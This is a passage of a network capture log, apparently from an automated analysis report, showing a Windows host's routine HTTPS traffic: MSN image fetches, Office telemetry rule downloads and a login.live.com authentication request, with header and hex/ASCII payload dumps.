2024-11-16 18:22:40 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:40 UTC	549	IN	HTTP/1.1 200 OK Last-Modified: Wed, 23 Oct 2024 20:31:12 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 X-Datacenter: eastap X-ActivityId: 53621c4b-f6ac-4e45-8979-9690752d9442 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=310202 Expires: Wed, 20 Nov 2024 08:32:42 GMT Date: Sat, 16 Nov 2024 18:22:40 GMT Connection: close
2024-11-16 18:22:40 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182240Z-1866b5c5fbbkbjq9hC1DFWf1es000000022000000000bmph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:40 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:40 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:40 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: faeecedf-001e-0034-1179-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182240Z-164f84587bffvwt9hC1DFW2ktw00000000u000000000h193 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:40 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:41 UTC	495	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:40 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 1b9fd0a1-f01e-0099-1254-389171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182240Z-164f84587bfmxxfphC1DFW3au800000001r0000000001fzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-16 18:22:41 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182240Z-16547b76f7ff9zf4hC1DFW2pfc00000000tg000000006at6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49922	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:41 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 13:37:27 GMT X-Datacenter: eastus X-ActivityId: 646f7dcc-ee57-4b8a-81bd-4a4fe061e30b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=285328 Expires: Wed, 20 Nov 2024 01:38:09 GMT Date: Sat, 16 Nov 2024 18:22:41 GMT Connection: close
2024-11-16 18:22:41 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182241Z-164f84587bfghdt4hC1DFWu5nn00000002x000000000gavd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182241Z-1866b5c5fbb2t6txhC1DFWa2qc000000037g000000004gnh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182241Z-16547b76f7fm8pcwhC1DFWaxcc000000017g00000000dp0f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49923	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-16 18:22:41 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 18:22:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 18:21:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: ceade1ec-7fa1-4cea-9d1b-052477f758ef PPServer: PPV: 30 H: SN1PEPF0002F085 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:41 GMT Connection: close Content-Length: 1918
2024-11-16 18:22:41 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182241Z-16547b76f7fht2hfhC1DFWbngg00000003eg00000000nvcq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
